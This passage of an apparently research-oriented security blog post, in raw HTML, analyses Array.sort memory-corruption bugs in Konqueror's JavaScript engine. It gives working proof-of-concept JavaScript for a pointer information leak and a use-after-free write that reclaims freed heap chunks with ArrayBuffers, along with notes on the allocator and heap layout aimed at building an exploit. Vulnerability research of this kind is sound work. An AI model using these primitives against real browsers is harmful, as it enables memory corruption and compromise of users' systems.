<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">#0 WebCore::RenderBoxModelObject::paintBoxShadow()</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cmp 0x18(%rbx),%ebp</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$rbx==0x7fffffff7fffffff</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Since this is a linear buffer overflow, heap spraying would be needed to place an interesting chunk in the area of corruption. Heap spraying is usually probabilistic instead of deterministic, so is disfavored for highly reliable exploits. We’ll see below how use-after-invalidation vulnerabilities can offer significantly greater reliability.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Situation #2: invalidated shifted read pointer leading to information leak</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">var myCompFunc = function(x,y)</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (x) {</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> dv.setFloat64(0, x, true);</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> alert('leaked: 0x' + dv.getUint32(0, true).toString(16));</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (y) {</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> dv.setFloat64(0, y, true);</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> alert('leaked: 0x' + dv.getUint32(0, true).toString(16));</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (!sort_iters) {</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> a1.splice(0, 4);</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> sort_iters++;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> return 0;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">}</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dv = new DataView(new ArrayBuffer(8));</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sort_iters = 0;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">a1 = [0,0,0,0,0];</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">a1.sort(myCompFunc);</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">If you run this in 32-bit Konqueror, it’ll output something like: “leaked: 0xad9955c0”. If you run it in 64-bit Konqueror, it will crash. We’ll get to that later as it complicates our 64-bit exploit. To focus on why this works on 32-bit, let’s use a diagram:</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW8w3d1DT1Q7t1u_QcREHjE7pzfXkv0PWcGcMLvmR20QSHdLz3nvy4r3vKamqwaBb07UCrJ6sFw1leVYBcklPwSuRMVSwE9TMxQoTq3KR_1r1wzlHVplyJ4EZKuQNIdsGA-h_FTmjtG4d6/s1600/blogpost_drawing.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW8w3d1DT1Q7t1u_QcREHjE7pzfXkv0PWcGcMLvmR20QSHdLz3nvy4r3vKamqwaBb07UCrJ6sFw1leVYBcklPwSuRMVSwE9TMxQoTq3KR_1r1wzlHVplyJ4EZKuQNIdsGA-h_FTmjtG4d6/s1600/blogpost_drawing.png" /></a></div>
<br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In the above diagram, we see how the exact same single </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">fastMalloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> chunk will look before and after the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array.splice</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> operation. The same allocation, contains both a C++ object header (24 bytes on 32-bit) as well as the actual variable length of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> elements, which are all 8 bytes each in order to accommodate a double floating point value if necessary. The C++ object header, a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">JSC::ArrayStorage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, is colored yellow. Element storage is colored green. The object member labelled </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ptr</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is actually </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">JSC::ArrayStorage::m_allocBase</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, a pointer to the beginning of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">fastMalloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> chunk, and it is this useful value that we leak.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The leak occurs because the chunk of memory to iterate for the sort, shown in orange above, is fixed at the beginning of the sort. However, the splice operation is called in the middle of the sort, in the JavaScript sort callback, when elements 0 and 1 are being compared. The splice shifts the C++ object header along into the predetermined (and now invalid!) iteration range. When elements 2, 3 are read, the reads actually read the values of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">JSC::ArrayStorage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object. These values will be treated as doubles but luckily the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">DataView</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> JavaScript class can convert a double into raw bytes for extraction of the pointer.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is an exceptionally reliable primitive -- likely deterministic, because no allocator churn is involved. This is more of a use-after-invalidation than a use-after-free because nothing is actually freed. No out-of-bounds access relative to a heap chunk occurs either.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Finally, we should note that this primitive isn’t just a use-after-invalidation read, it’s also a use-after-invalidation write because if the sort changes the ordering of the elements, the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">JSC::ArrayStorage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object will be corrupted. There are a large number of possibilities here that remain unexplored.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Situation #3: invalidated write pointer leading to use-after-free write</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">buf = null;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">var myCompFunc = function(x,y)</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> a1[2] = 0x41;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buf = new ArrayBuffer(56);</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> return 0;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">}</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">a1 = [1,2];</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">a1[0] = a1;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">a1[1] = a1;</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">a1.sort(myCompFunc);</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">u32buf = new Uint32Array(buf);</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">alert(u32buf[1]);</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">alert(u32buf[12].toString(16));</span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: #5b0f00; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">alert(u32buf[13].toString(16));</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">If we run this on 64-bit, our alerts will come out something like: 2; 9c04c290; 7fbd.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The situation we cause here is simple but powerful. First, a dense 2 element </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is created. This is a 40 byte header plus 2x 8 byte elements on 64-bit, for a total of a a 56 byte allocation. During the sort JavaScript callback, the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is expanded such that it no longer fits inside the 56 byte allocation. A new allocation is made, the current contents are copied, and the old allocation is freed. The vulnerability is that the storage pointer cached at [1] in the C++ code becomes invalid and using it at [12] and [13] is a use-after-free write.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">What will the use-after-free trample over? Because of the bucketing and LIFO nature of the allocator, the attacker gets to choose the object that occupies the recently freed slot simply by causing an allocation of the same size. In the JavaScript above, we just allocate a 56 byte </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayBuffer</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> backing buffer. As luck would have it, </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayBuffer</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> backing buffers are also allocated with </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">fastMalloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> so we’re set. The use-after-free tramples over our nice pristine zero filled buffer. The number of elements in the sorted </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is written, which is the value 2 as seen in the alerts. The </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> elements are also written, which we have chosen to be JavaScript objects in this case. That gives us another useful information leak, telling us where in virtual memory any JavaScript object resides.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">As in most of these situations, there remain many unexplored avenues in the tree of possibilities:</span></div>
<b style="font-weight: normal;"><br /></b>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
